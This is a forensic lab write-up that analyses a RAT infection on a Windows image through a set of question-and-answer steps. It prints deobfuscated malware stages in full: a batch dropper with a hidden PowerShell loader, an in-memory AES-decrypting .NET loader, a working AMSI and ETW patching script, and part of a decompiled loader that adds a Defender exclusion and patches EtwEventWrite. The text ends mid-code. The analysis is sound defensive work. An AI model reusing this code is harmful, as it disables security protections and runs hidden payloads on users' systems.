Abstract

Our SOC detected an emerging RAT variant delivered via malicious file execution in its early stages, triggering an alert before C2 communication was fully established. Rapid containment prevented further exfiltration or post-exploitation activities. A full forensic triage was conducted to analyze persistence mechanisms and C2 infrastructure, enabling comprehensive IOC extraction to provide them to our threat intelligence platform for enhanced detection and proactive hunting.

As evidence there’s a logical image of a Windows drive.


Questions

Question 1

What was the exact date and time the malicious file was executed by the user?

At first I mount the image as new drive (read-only) with FTK Imager to E:, so I can browse the data.

Without any lead, I look at the RecentDocs in the Administrator’s registry hive. It shows the user accessed Conf.js at 2025-06-13 14:43:27 and there’s also a Prefetch file for wscript.exe that supports this.

2025-06-13 14:43:27

Question 2

During the initial stage of execution, what is the name of the first file dropped by the malicious file?

As soon as I parse the related Prefetch file I do see references to tmp_993805.bat within the %localappdata\temp folder. The file is still present there and looks heavily obfuscated.

poor_mans_decoder.py
VARIABLES = {}
 
 
def parse_variable(line, separator) -> tuple[str, int]:
    variable_name = ''
    for char in line[1:]:
        if char == separator:
            break
        variable_name += char
    return variable_name, len(variable_name) + 2
 
def parse_line(line):
    global VARIABLES
    output = ''
    index = 0
    while index < len(line):
        char = line[index]
 
        if char in ["%", "!"]:
            variable_name, skip_count = parse_variable(line[index:], char)
            if variable_name in VARIABLES:
                output += VARIABLES[variable_name]
            index += skip_count
 
        else:
            output += char
            index += 1
 
    # Re-check if there's a SET command to update Variables
    if output.startswith('set '):
        name, *value = output.split('"')[1].split('=')
        VARIABLES[name] = ''.join(value).strip('"')
 
    return output
 
 
def parse_content(content):
    sanitized_data = []
    for line in content:
        sanitized_data.append(parse_line(line))
 
    print('\n'.join(sanitized_data))
 
 
with open('./malware.bat.donotrun') as f:
    data = f.readlines()
 
parse_content(data)

The script copies itself - there is also a file called dwm.bat in C:\Users\Administrator- and then constructs a final PowerShell command by using set and lots of dynamic variables. In there are also two rather long base64 strings that are relevant later on.

temp_993805_decoded.bat
@echo off
if not DEFINED ebnxmRzKvebnxm set ebnxmRzKvebnxm=1 && start "" /min "* && exit
set "sourceFile=~nx0"
copy "~nx0" "\dwm.bat" >nul"
setlocal enabledelayedexpansion
 
set "pzubyuzscxptsyicikccmzxcq=set"
set "prymud=enhhICAgICB6eGEgICAgI"
set "ufxiuw=LUV4cHJlc3Npb24gJGhuc"
--- SNIP ---
set "wsrwnn=dOjpVbnp4YWljb2Rlenhh"
set "zjblpj=0enhhY2ggZml6eGFsZSBu"
:::ZgB1AG4AYw<VERY LONG BASE64 #1>
set "vbtwex=b3p4YXQgZm91enhhbmQ6I"
set "eejboz=96eGFyIEN5YXp4YW47ICA"
--- SNIP ---
set "cvzyut=GFld0xpbnp4YWUpO2Zven"
set "sjxsqh=ZnPXp4YScpOwkkenhhYWV"
:: NlnkyuGYpsyey<VERY LONG BASE64 #2 >TfwNOlsRJ7OlDwo=
set "swmoxa=6eGE6OkZyb3p4YW1CYXNl"
set "fqqsew=4String('DQoNCiR6bWhs"
--- SNIP ---
set "ikrsqh=Wi"
set "mnxlww=nd"
Windows\System32\WindowsPowerShell\v1.0\powershell.exe-noprofile -windowstyle hidden -ep bypass  -Command ding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR6bWhsaCA9IEAnDQokbHl3eXp4YXVwbm5penhhd2pud3Z6eGF3ID0gJHp4YWVudjpVenhhU0VSTkF6eGFNRTskeHp4YW1qY2x3enhhcHZmbm96eGFnZmRmIHp4YT0gIkM6enhhXFVzZXJ6eGFzXCRseXp4YXd5dXBuenhhbml3am56eGF3dndcZHp4YXdtLmJhenhhdCI7aWZ6eGEgKFRlc3p4YXQtUGF0enhhaCAkeG16eGFqY2x3cHp4YXZmbm9nenhhZmRmKSB6eGF7ICAgIHp4YVdyaXRlenhhLUhvc3R6eGEgIkJhdHp4YWNoIGZpenhhbGUgZm96eGF1bmQ6IHp4YSR4bWpjenhhbHdwdmZ6eGFub2dmZHp4YWYiIC1Genhhb3JlZ3J6eGFvdW5kQ3p4YW9sb3IgenhhQ3lhbjt6eGEgICAgJHp4YWZpbGVMenhhaW5lcyB6eGE9IFtTeXp4YXN0ZW0uenhhSU8uRml6eGFsZV06Onp4YVJlYWRBenhhbGxMaW56eGFlcygkeHp4YW1qY2x3enhhcHZmbm96eGFnZmRmLHp4YSBbU3lzenhhdGVtLlR6eGFleHQuRXp4YW5jb2RpenhhbmddOjp6eGFVVEY4KXp4YTsgICAgenhhZm9yZWF6eGFjaCAoJHp4YWxpbmUgenhhaW4gJGZ6eGFpbGVMaXp4YW5lcykgenhheyAgICB6eGEgICAgaXp4YWYgKCRsenhhaW5lIC16eGFtYXRjaHp4YSAnXjo6enhhOiA/KC56eGErKSQnKXp4YSB7ICAgenhhICAgICB6eGEgICAgV3p4YXJpdGUtenhhSG9zdCB6eGEiSW5qZXp4YWN0aW9uenhhIGNvZGV6eGEgZGV0ZXp4YWN0ZWQgenhhaW4gdGh6eGFlIGJhdHp4YWNoIGZpenhhbGUuIiB6eGEtRm9yZXp4YWdyb3VuenhhZENvbG96eGFyIEN5YXp4YW47ICAgenhhICAgICB6eGEgICAgdHp4YXJ5IHsgenhhICAgICB6eGEgICAgIHp4YSAgICAgenhhJGRlY296eGFkZWRCeXp4YXRlcyA9enhhIFtTeXN6eGF0ZW0uQ3p4YW9udmVyenhhdF06OkZ6eGFyb21CYXp4YXNlNjRTenhhdHJpbmd6eGEoJG1hdHp4YWNoZXNbenhhMV0uVHJ6eGFpbSgpKXp4YTsgICAgenhhICAgICB6eGEgICAgIHp4YSAgJGluenhhamVjdGl6eGFvbkNvZHp4YWUgPSBbenhhU3lzdGV6eGFtLlRleHp4YXQuRW5jenhhb2Rpbmd6eGFdOjpVbnp4YWljb2RlenhhLkdldFN6eGF0cmluZ3p4YSgkZGVjenhhb2RlZEJ6eGF5dGVzKXp4YTsgICAgenhhICAgICB6eGEgICAgIHp4YSAgV3JpenhhdGUtSG96eGFzdCAiSXp4YW5qZWN0enhhaW9uIGN6eGFvZGUgZHp4YWVjb2RlenhhZCBzdWN6eGFjZXNzZnp4YXVsbHkuenhhIiAtRm96eGFyZWdyb3p4YXVuZENvenhhbG9yIEd6eGFyZWVuO3p4YSAgICAgenhhICAgICB6eGEgICAgIHp4YSBXcml0enhhZS1Ib3N6eGF0ICJFeHp4YWVjdXRpenhhbmcgaW56eGFqZWN0aXp4YW9uIGNvenhhZGUuLi56eGEiIC1Gb3p4YXJlZ3JvenhhdW5kQ296eGFsb3IgWXp4YWVsbG93enhhOyAgICB6eGEgICAgIHp4YSAgICAgenhhICBJbnZ6eGFva2UtRXp4YXhwcmVzenhhc2lvbiB6eGEkaW5qZXp4YWN0aW9uenhhQ29kZTt6eGEgICAgIHp4YSAgICAgenhhICAgICB6eGEgYnJlYXp4YWs7ICAgenhhICAgICB6eGEgICAgfXp4YSBjYXRjenhhaCB7ICB6eGEgICAgIHp4YSAgICAgenhhICAgIFd6eGFyaXRlLXp4YUhvc3QgenhhIkVycm96eGFyIGR1cnp4YWluZyBkenhhZWNvZGl6eGFuZyBvcnp4YSBleGVjenhhdXRpbmd6eGEgaW5qZXp4YWN0aW9uenhhIGNvZGV6eGE6ICRfInp4YSAtRm9yenhhZWdyb3V6eGFuZENvbHp4YW9yIFJlenhhZDsgICB6eGEgICAgIHp4YSAgICB9enhhOyAgICB6eGEgICAgfXp4YTsgICAgenhhfTt9IGV6eGFsc2Uge3p4YSAgICAgenhhIFdyaXR6eGFlLUhvc3p4YXQgIlN5enhhc3RlbSB6eGFFcnJvcnp4YTogQmF0enhhY2ggZml6eGFsZSBub3p4YXQgZm91enhhbmQ6ICR6eGF4bWpjbHp4YXdwdmZuenhhb2dmZGZ6eGEiIC1Gb3p4YXJlZ3JvenhhdW5kQ296eGFsb3IgUnp4YWVkOyAgenhhICBleGl6eGF0O307Znp4YXVuY3Rpenhhb24gZ2J6eGFwcXVjeHp4YXJjZnhjenhhcWNjKCR6eGFwYXJhbXp4YV92YXIpenhhewkkYWV6eGFzX3Zhcnp4YT1bU3lzenhhdGVtLlN6eGFlY3VyaXp4YXR5LkNyenhheXB0b2d6eGFyYXBoeXp4YS5BZXNdenhhOjpDcmV6eGFhdGUoKXp4YTsJJGFlenhhc192YXJ6eGEuTW9kZXp4YT1bU3lzenhhdGVtLlN6eGFlY3VyaXp4YXR5LkNyenhheXB0b2d6eGFyYXBoeXp4YS5DaXBoenhhZXJNb2R6eGFlXTo6Q3p4YUJDOwkkenhhYWVzX3Z6eGFhci5QYXp4YWRkaW5nenhhPVtTeXN6eGF0ZW0uU3p4YWVjdXJpenhhdHkuQ3J6eGF5cHRvZ3p4YXJhcGh5enhhLlBhZGR6eGFpbmdNb3p4YWRlXTo6enhhUEtDUzd6eGE7CSRhZXp4YXNfdmFyenhhLktleT16eGFbU3lzdHp4YWVtLkNvenhhbnZlcnR6eGFdOjpGcnp4YW9tQmFzenhhZTY0U3R6eGFyaW5nKHp4YSdJbW9jenhhTkVuVVp6eGFiSEJtYXp4YVhJQnRvenhheTdYM0h6eGFDcjlRc3p4YUNESkFVenhhbGtxNDN6eGFxWUZnPXp4YScpOwkkenhhYWVzX3Z6eGFhci5JVnp4YT1bU3lzenhhdGVtLkN6eGFvbnZlcnp4YXRdOjpGenhhcm9tQmF6eGFzZTY0U3p4YXRyaW5nenhhKCdXQ3B6eGFRVkdxY3p4YStFNFNOenhhSGZLWVZ6eGE1alZRPXp4YT0nKTsJenhhJGRlY3J6eGF5cHRvcnp4YV92YXI9enhhJGFlc196eGF2YXIuQ3p4YXJlYXRlenhhRGVjcnl6eGFwdG9yKHp4YSk7CSRyenhhZXR1cm56eGFfdmFyPXp4YSRkZWNyenhheXB0b3J6eGFfdmFyLnp4YVRyYW5zenhhZm9ybUZ6eGFpbmFsQnp4YWxvY2soenhhJHBhcmF6eGFtX3Zhcnp4YSwgMCwgenhhJHBhcmF6eGFtX3Zhcnp4YS5MZW5nenhhdGgpOwl6eGEkZGVjcnp4YXlwdG9yenhhX3Zhci56eGFEaXNwb3p4YXNlKCk7enhhCSRhZXN6eGFfdmFyLnp4YURpc3Bvenhhc2UoKTt6eGEJJHJldHp4YXVybl92enhhYXI7fWZ6eGF1bmN0aXp4YW9uIG1venhhZWdzemx6eGFqYnR1dXp4YXF0eSgkenhhcGFyYW16eGFfdmFyKXp4YXsJJGt0enhhdW15Z2p6eGFndm95bXp4YXBkdT1OenhhZXctT2J6eGFqZWN0IHp4YVN5c3RlenhhbS5JTy56eGFNZW1vcnp4YXlTdHJlenhhYW0oLCR6eGFwYXJhbXp4YV92YXIpenhhOwkkZ2J6eGFuYWNweHp4YWhianZzenhhb3hhPU56eGFldy1PYnp4YWplY3QgenhhU3lzdGV6eGFtLklPLnp4YU1lbW9yenhheVN0cmV6eGFhbTsJJHp4YWhneGV2enhhZWhkZXZ6eGFkaGpzdHp4YT1OZXctenhhT2JqZWN6eGF0IFN5c3p4YXRlbS5JenhhTy5Db216eGFwcmVzc3p4YWlvbi5HenhhWmlwU3R6eGFyZWFtKHp4YSRrdHVtenhheWdqZ3Z6eGFveW1wZHp4YXUsIFtJenhhTy5Db216eGFwcmVzc3p4YWlvbi5Denhhb21wcmV6eGFzc2lvbnp4YU1vZGVdenhhOjpEZWN6eGFvbXByZXp4YXNzKTsJenhhJGhneGV6eGF2ZWhkZXp4YXZkaGpzenhhdC5Db3B6eGF5VG8oJHp4YWdibmFjenhhcHhoYmp6eGF2c294YXp4YSk7CSRoenhhZ3hldmV6eGFoZGV2ZHp4YWhqc3QuenhhRGlzcG96eGFzZSgpO3p4YQkka3R1enhhbXlnamd6eGF2b3ltcHp4YWR1LkRpenhhc3Bvc2V6eGEoKTsJJHp4YWdibmFjenhhcHhoYmp6eGF2c294YXp4YS5EaXNwenhhb3NlKCl6eGE7CSRnYnp4YW5hY3B4enhhaGJqdnN6eGFveGEuVHp4YW9BcnJhenhheSgpO316eGFmdW5jdHp4YWlvbiB2enhhZXJqcmp6eGFycWRvZHp4YWJudGkoenhhJHBhcmF6eGFtX3Zhcnp4YSwkcGFyenhhYW0yX3Z6eGFhcil7CXp4YSRud2ZoenhhbXNocHJ6eGFqbmx0ZHp4YWQ9W1N5enhhc3RlbS56eGFSZWZsZXp4YWN0aW9uenhhLkFzc2V6eGFtYmx5XXp4YTo6KCdkenhhYW9MJ1t6eGEtMS4uLXp4YTRdIC1qenhhb2luICd6eGEnKShbYnp4YXl0ZVtdenhhXSRwYXJ6eGFhbV92YXp4YXIpOwkkenhhbnVpdWd6eGFzb2xpcXp4YXp4amZ6enhhPSRud2Z6eGFobXNocHp4YXJqbmx0enhhZGQuRW56eGF0cnlQb3p4YWludDsJenhhJG51aXV6eGFnc29saXp4YXF6eGpmenhhei5JbnZ6eGFva2UoJHp4YW51bGwsenhhICRwYXJ6eGFhbTJfdnp4YWFyKTt9enhhJGhvc3R6eGEuVUkuUnp4YWF3VUkuenhhV2luZG96eGF3VGl0bHp4YWUgPSAkenhheG1qY2x6eGF3cHZmbnp4YW9nZmRmenhhOyR3ZmR6eGFleXBlbHp4YXNha29xenhhYnI9W1N6eGF5c3RlbXp4YS5JTy5GenhhaWxlXTp6eGE6KCd0eHp4YWVUbGxBenhhZGFlUid6eGFbLTEuLnp4YS0xMV0genhhLWpvaW56eGEgJycpKHp4YSR4bWpjenhhbHdwdmZ6eGFub2dmZHp4YWYpLlNwenhhbGl0KFt6eGFFbnZpcnp4YW9ubWVuenhhdF06Ok56eGFld0xpbnp4YWUpO2ZvenhhcmVhY2h6eGEgKCRpenp4YXRuYnBqenhhZ2pwaXN6eGF2aXAgaXp4YW4gJHdmenhhZGV5cGV6eGFsc2Frb3p4YXFicikgenhhewlpZiB6eGEoJGl6dHp4YW5icGpnenhhanBpc3Z6eGFpcC5TdHp4YWFydHNXenhhaXRoKCd6eGE6OiAnKXp4YSkJewkJenhhJHd4anV6eGFhd212eXp4YWx0YnJienhhYT0kaXp6eGF0bmJwanp4YWdqcGlzenhhdmlwLlN6eGF1YnN0cnp4YWluZygzenhhKTsJCWJ6eGFyZWFrO3p4YQl9fSRvenhhd2xobmt6eGF0aXRnbnp4YXFhZXI9enhhW3N0cml6eGFuZ1tdXXp4YSR3eGp1enhhYXdtdnl6eGFsdGJyYnp4YWEuU3BsenhhaXQoJ1x6eGEnKTskZXp4YXFtaWpsenhhbHV4b2V6eGFkc3NjPXp4YW1vZWdzenhhemxqYnR6eGF1dXF0eXp4YSAoZ2JwenhhcXVjeHJ6eGFjZnhjcXp4YWNjIChbenhhQ29udmV6eGFydF06Onp4YUZyb21CenhhYXNlNjR6eGFTdHJpbnp4YWcoJG93enhhbGhua3R6eGFpdGducXp4YWFlclswenhhXSkpKTt6eGEkbGt0aXp4YWJtZ292enhhZmh6eHB6eGFxPW1vZXp4YWdzemxqenhhYnR1dXF6eGF0eSAoZ3p4YWJwcXVjenhheHJjZnh6eGFjcWNjIHp4YShbQ29uenhhdmVydF16eGE6OkZyb3p4YW1CYXNlenhhNjRTdHJ6eGFpbmcoJHp4YW93bGhuenhha3RpdGd6eGFucWFlcnp4YVsxXSkpenhhKTt2ZXJ6eGFqcmpycXp4YWRvZGJuenhhdGkgJGV6eGFxbWlqbHp4YWx1eG9lenhhZHNzYyB6eGEkbnVsbHp4YTt2ZXJqenhhcmpycWR6eGFvZGJudHp4YWkgJGxrenhhdGlibWd6eGFvdmZoenp4YXhwcSAoenhhLFtzdHJ6eGFpbmdbXXp4YV0gKCclenhhKicpKTsNCidADQoNCiRobnBodiA9ICR6bWhsaCAtcmVwbGFjZSAnenhhJywgJycNCg0KSW52b2tlLUV4cHJlc3Npb24gJGhucGh2DQo')) | Invoke-Expression
set "zqczuf=ti"
set "xgktmv=nul"
set "xgqzxi=ak "
set "nzarex=meo"
set "ufeitv=/t "
set "exczyo=/no"
set "dlnrwl=1 >"
set "tjbolw=bre"
set "abhtje=ut "

temp_993805.bat

Question 3

During the initial stage of execution, The malicious file performed in-memory patching of a critical security function by overwriting it with a 6-byte sequence that forces the function to return zero. What is this hexadecimal byte sequence?

Decoding the previous PowerShell command yields the following (cleaned-up) code. It parses the previously copied dwm.bat and looks for the line starting by :::. It’s one of the long base64 encoded strings. It gets decoded and executed.

$username = $env:USERNAME;
$source_file = "C:\Users\$username\dwm.bat";
 
if (Test-Path $source_file) {
	Write-Host "Batch file found: $source_file" -ForegroundColor Cyan;    
	$fileLines = [System.IO.File]::ReadAllLines($source_file, [System.Text.Encoding]::UTF8);
	foreach ($line in $fileLines) {
		if ($line -match '^::: ?(.+)$') {
			Write-Host "Injection code detected in the batch file." -ForegroundColor Cyan;
			try {                
				$decodedBytes = [System.Convert]::FromBase64String($matches[1].Trim());
				$injectionCode = [System.Text.Encoding]::Unicode.GetString($decodedBytes);
				Write-Host "Injection code decoded successfully." -ForegroundColor Green;
				Write-Host "Executing injection code..." -ForegroundColor Yellow;
				Invoke-Expression $injectionCode;
				break;            
			} catch {               
				Write-Host "Error during decoding or executing injection code: $_" -ForegroundColor Red;
			};        
		};    
	};
} else {      
	Write-Host "System Error: Batch file not found: $source_file" -ForegroundColor Red;
	exit;
};
 
 
function decrypt($param_var){
	$aes_var=[System.Security.Cryptography.Aes]::Create();
	$aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;
	$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
	$aes_var.Key=[System.Convert]::FromBase64String('ImocNEnUZbHBmaXIBtoy7X3HCr9QsCDJAUlkq43qYFg=');
	$aes_var.IV=[System.Convert]::FromBase64String('WCpQVGqc+E4SNHfKYV5jVQ==');
	$decryptor_var=$aes_var.CreateDecryptor();
	$return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);
	$decryptor_var.Dispose();
	$aes_var.Dispose();
	$return_var;
}
 
function unzip($param_var){
	$ktumygjgvoympdu=New-Object System.IO.MemoryStream(,$param_var);
	$gbnacpxhbjvsoxa=New-Object System.IO.MemoryStream;
	$hgxevehdevdhjst=New-Object System.IO.Compression.GZipStream($ktumygjgvoympdu, [IO.Compression.CompressionMode]::Decompress);
	$hgxevehdevdhjst.CopyTo($gbnacpxhbjvsoxa);
	$hgxevehdevdhjst.Dispose();
	$ktumygjgvoympdu.Dispose();
	$gbnacpxhbjvsoxa.Dispose();
	$gbnacpxhbjvsoxa.ToArray();
}
 
function execute_in_memory($param_var,$param2_var){	
	$nwfhmshprjnltdd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var);
	$nuiugsoliqzxjfz=$nwfhmshprjnltdd.EntryPoint;
	$nuiugsoliqzxjfz.Invoke($null, $param2_var);
}
 
$host.UI.RawUI.WindowTitle = $source_file;
$wfdeypelsakoqbr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')
($source_file).Split([Environment]::NewLine);
 
foreach ($iztnbpjgjpisvip in $wfdeypelsakoqbr) {
	if ($iztnbpjgjpisvip.StartsWith(':: '))	{
		$wxjuawmvyltbrba=$iztnbpjgjpisvip.Substring(3);		
		break;	
	}
}
 
$owlhnktitgnqaer=[string[]]$wxjuawmvyltbrba.Split('\');
$eqmijlluxoedssc=unzip (decrypt ([Convert]::FromBase64String($owlhnktitgnqaer[0])));
$lktibmgovfhzxpq=unzip (decrypt ([Convert]::FromBase64String($owlhnktitgnqaer[1])));
execute_in_memory $eqmijlluxoedssc $null;
execute_in_memory $lktibmgovfhzxpq (,[string[]] ('%*'));

Doing the part myself shows a script with the function Invoke-SystemMaintenance. It’s purpose is to patch AMSI by overwriting parts of it with $optimizationData and patch ETW as well.

first_base64_decoded.ps1
function Invoke-SystemMaintenance {
    [CmdletBinding()]
    param (
        [Parameter(Mandatory=$false, Position=0)]
        [switch]$LogDetails,
        [Parameter(Mandatory=$false, Position=0)]
        [switch]$OptimizePerformance
    )
 
    if ($LogDetails) { $VerbosePreference = "Continue" }
 
    try {
        function Get-WindowsAPIFunction {
            param ([string]$DllName, [string]$FunctionName)
            $moduleHandler = $Core_ModuleLoader.Invoke($null, @($DllName))
            $tempReference = New-Object IntPtr
            $handleReference = New-Object System.Runtime.InteropServices.HandleRef($tempReference, $moduleHandler)
            $Core_FunctionLoader.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$handleReference, $FunctionName))
        }
 
        function Get-SystemComponent {
            param (
                [Parameter(Position=0, Mandatory=$true)]
                [IntPtr]$ComponentAddress,
                [Parameter(Position=1, Mandatory=$true)]
                [Type[]]$ParameterTypes,
                [Parameter(Position=2)]
                [Type]$ReturnType = [Void]
            )
            $currentDomain = [AppDomain]::("Curren" + "tDomain")
            $assemblyName = New-Object System.Reflection.AssemblyName('SystemAssembly')
            $assemblyBuilder = $currentDomain.DefineDynamicAssembly($assemblyName, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
            $moduleBuilder = $assemblyBuilder.DefineDynamicModule('SystemModule', $false)
            $typeBuilder = $moduleBuilder.DefineType('SystemComponent', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
            $constructor = $typeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $ParameterTypes)
            $constructor.SetImplementationFlags('Runtime, Managed')
            $methodBuilder = $typeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $ParameterTypes)
            $methodBuilder.SetImplementationFlags('Runtime, Managed')
            $componentType = $typeBuilder.CreateType()
            [System.Runtime.InteropServices.Marshal]::("GetDelegate" + "ForFunctionPointer")($ComponentAddress, $componentType)
        }
 
        Add-Type -AssemblyName System.Windows.Forms -ErrorAction Stop
        $SystemMemory = [System.Runtime.InteropServices.Marshal]
        $WindowsAPI = [Windows.Forms.Form].Assembly.GetType('System.Windows.Forms.UnsafeNativeMethods')
        $bytesGetFunction = [Byte[]](0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x41,0x64,0x64,0x72,0x65,0x73,0x73)
        $bytesGetModule  = [Byte[]](0x47,0x65,0x74,0x4D,0x6F,0x64,0x75,0x6C,0x65,0x48,0x61,0x6E,0x64,0x6C,0x65)
        $getFunctionName = [System.Text.Encoding]::ASCII.GetString($bytesGetFunction)
        $getModuleName  = [System.Text.Encoding]::ASCII.GetString($bytesGetModule)
        $Core_ModuleLoader = $WindowsAPI.GetMethod($getModuleName)
        $Core_FunctionLoader = $WindowsAPI.GetMethod($getFunctionName)
        $bytesInitialize = [Byte[]](0x41,0x6D,0x73,0x69,0x49,0x6E,0x69,0x74,0x69,0x61,0x6C,0x69,0x7A,0x65)
        $bytesLibrary  = [Byte[]](0x61,0x6D,0x73,0x69,0x2E,0x64,0x6C,0x6C)
        $libraryName    = [System.Text.Encoding]::ASCII.GetString($bytesLibrary)
        $initFunction  = [System.Text.Encoding]::ASCII.GetString($bytesInitialize)
        $initializeAddress = Get-WindowsAPIFunction $libraryName $initFunction
        $pointerSize = $SystemMemory::SizeOf([Type][IntPtr])
        if ($pointerSize -eq 8) {
            $initializeComponent = Get-SystemComponent $initializeAddress @([string], [UInt64].MakeByRefType()) ([Int])
            [Int64]$systemContext = 0
        }
        else {
            $initializeComponent = Get-SystemComponent $initializeAddress @([string], [IntPtr].MakeByRefType()) ([Int])
            $systemContext = 0
        }
        $securitySuffix = 'Virt' + 'ualProtec'
        $securityMethod = '{0}{1}' -f $securitySuffix, 't'
        $kernelLibrary  = "ker{0}.dll" -f "nel32"
        $securityAddress   = Get-WindowsAPIFunction $kernelLibrary $securityMethod
        $securityDelegate = Get-SystemComponent $securityAddress @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])
        $MEMORY_PROTECTION_CONSTANT = 0x00000080
        $optimizationData = [byte[]](0xb8,0x0,0x00,0x00,0x00,0xC3)
        $originalProtection   = 0
        $componentIndex      = 0
        if ($initializeComponent.Invoke("Scanner", [ref]$systemContext) -ne 0) {
            if ($systemContext -eq 0) { Throw "[!] No system component found." }
            else { Throw "[!] Error initializing system component." }
        }
        if ($pointerSize -eq 8) {
            $mainData = $SystemMemory::ReadInt64([IntPtr]$systemContext, 16)
            $componentPointer  = $SystemMemory::ReadInt64([IntPtr]$mainData, 64)
        }
        else {
            $mainData = $SystemMemory::ReadInt32($systemContext + 8)
            $componentPointer  = $SystemMemory::ReadInt32($mainData + 36)
        }
        while ($componentPointer -ne 0) {
            if ($pointerSize -eq 8) {
                $functionTable   = $SystemMemory::ReadInt64([IntPtr]$componentPointer)
                $scannerAddress = $SystemMemory::ReadInt64([IntPtr]$functionTable, 24)
            }
            else {
                $functionTable   = $SystemMemory::ReadInt32($componentPointer)
                $scannerAddress = $SystemMemory::ReadInt32($functionTable + 12)
            }
            if (-not $securityDelegate.Invoke($scannerAddress, [uint32]6, $MEMORY_PROTECTION_CONSTANT, [ref]$originalProtection)) {
                Throw "[!] Error modifying memory settings at $scannerAddress"
            }
            try {
                $SystemMemory::Copy($optimizationData, 0, [IntPtr]$scannerAddress, 6)
            }
            catch {
                Throw "[!] Error applying optimization at $scannerAddress"
            }
            for ($i=0; $i -lt $optimizationData.Length; $i++) {
                $verificationByte = $SystemMemory::ReadByte([IntPtr]::Add($scannerAddress, $i))
                if ($verificationByte -ne $optimizationData[$i]) { Throw "[!] Optimization failed at $scannerAddress" }
            }
            if (-not $securityDelegate.Invoke($scannerAddress, [uint32]6, $originalProtection, [ref]$originalProtection)) {
                Throw "[!] Failed to restore memory settings at $scannerAddress"
            }
            $componentIndex++
            if ($pointerSize -eq 8) {
                $componentPointer = $SystemMemory::ReadInt64([IntPtr]$mainData, 64 + ($componentIndex * $pointerSize))
            }
            else {
                $componentPointer = $SystemMemory::ReadInt32($mainData + 36 + ($componentIndex * $pointerSize))
            }
        }
        if ($OptimizePerformance) {
            $bytesService = [Byte[]](0x45,0x74,0x77,0x45,0x76,0x65,0x6E,0x74,0x57,0x72,0x69,0x74,0x65)
            $serviceName  = [System.Text.Encoding]::ASCII.GetString($bytesService)
            $serviceAddress  = Get-WindowsAPIFunction ("nt{0}.dll" -f "dll") $serviceName
            if (-not $securityDelegate.Invoke($serviceAddress, 1, $MEMORY_PROTECTION_CONSTANT, [ref]$originalProtection)) {
                Throw "[!] Error modifying memory settings of $serviceName"
            }
            try {
                if ($pointerSize -eq 8) {
                    $SystemMemory::WriteByte($serviceAddress, 0xC3)
                }
                else {
                    $servicePatch = [byte[]](0xb8,0xff,0x55)
                    $SystemMemory::Copy($servicePatch, 0, [IntPtr]$serviceAddress, 3)
                }
            }
            catch {
                Throw "[!] Error optimizing $serviceName"
            }
            if (-not $securityDelegate.Invoke($serviceAddress, 1, $originalProtection, [ref]$originalProtection)) {
                Throw "[!] Failed to restore memory settings of $serviceName"
            }
            Write-Output "[*] Connected."
        }
        else {
            Write-Output "[*] System maintenance completed."
        }
    }
    catch {
        Throw $_
    }
}
 
Invoke-SystemMaintenance -OptimizePerformance

0xb8,0x0,0x00,0x00,0x00,0xC3

Question 4

What is the name of the file responsible for dropping the second-stage PE Files? (2nd Stage)

dwm.bat

Question 5

What is the SHA-1 hash of the PE file created during the infection process, not malicious on its own?

The second long base64 encoded string in dwm.bat can be split by \ , the decoded and decrypted with AES.CBC and then finally extracted with gunzip to get a dotnet binary.

$ sha1sum out.bin
339e27243df24f2b8979e78711e396698f4f47cc  out.bin
$ file out.bin
out.bin: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

339e27243df24f2b8979e78711e396698f4f47cc

Question 6

In the third stage, what is the name of the malicious encrypted file that is injected into memory?

Now the second part of the base64-encoded string from Question 5 can be decoded, decrypted and extracted as well. It’s another dotnet binary. This allows me to load it into dotPeek and get the source code back.

Depending on whether the user has administrative access, it adds an exclusion for the whole C drive in Windows Defender. Then it gets a blob from its own resources, decrypts it with the hardcoded IV and key before loading it into memory.

using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Management;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Threading;
using System.Windows.Forms;
 
#nullable disable
namespace bbdoaycptuzkvpbycwszzbbgz
{
  internal class ymhpfvjydiynirikxkjbhjxgo
  {
    private static uint PAGE_EXECUTE_READWRITE = 64;
 
    [DllImport("kernel32.dll")]
    private static extern IntPtr LoadLibrary(string lpFileName);
 
    [DllImport("kernel32.dll")]
    private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
 
    [DllImport("kernel32.dll")]
    private static extern bool VirtualProtect(
      IntPtr lpAddress,
      UIntPtr dwSize,
      uint flNewProtect,
      out uint lpflOldProtect);
 
    private static void Main(string[] args)
    {
      try
      {
        if (!ymhpfvjydiynirikxkjbhjxgo.isstartup_function_name(Console.Title))
          ymhpfvjydiynirikxkjbhjxgo.installstartup_function_name(Console.Title);
      }
      catch (Exception ex)
      {
        int num = (int) MessageBox.Show("Erro no Startup: " + ex.ToString());
        Process.GetCurrentProcess().Kill();
      }
      if (ymhpfvjydiynirikxkjbhjxgo.isadmin_function_name())
      {
        try
        {
          ymhpfvjydiynirikxkjbhjxgo.AddDefenderExclusionWMI("C:\\");
        }
        catch (Exception ex)
        {
        }
      }
      IntPtr procAddress = ymhpfvjydiynirikxkjbhjxgo.GetProcAddress(ymhpfvjydiynirikxkjbhjxgo.LoadLibrary("ntdll.dll"), "EtwEventWrite");
      byte[] numArray;
      if (IntPtr.Size != 8)
        numArray = new byte[3]
        {
          (byte) 194,
          (byte) 20,
          (byte) 0
        };
      else
        numArray = new byte[1]{ (byte) 195 };
      byte[] source = numArray;
      uint lpflOldProtect;
      ymhpfvjydiynirikxkjbhjxgo.VirtualProtect(procAddress, (UIntPtr) (ulong) source.Length, ymhpfvjydiynirikxkjbhjxgo.PAGE_EXECUTE_READWRITE, out lpflOldProtect);
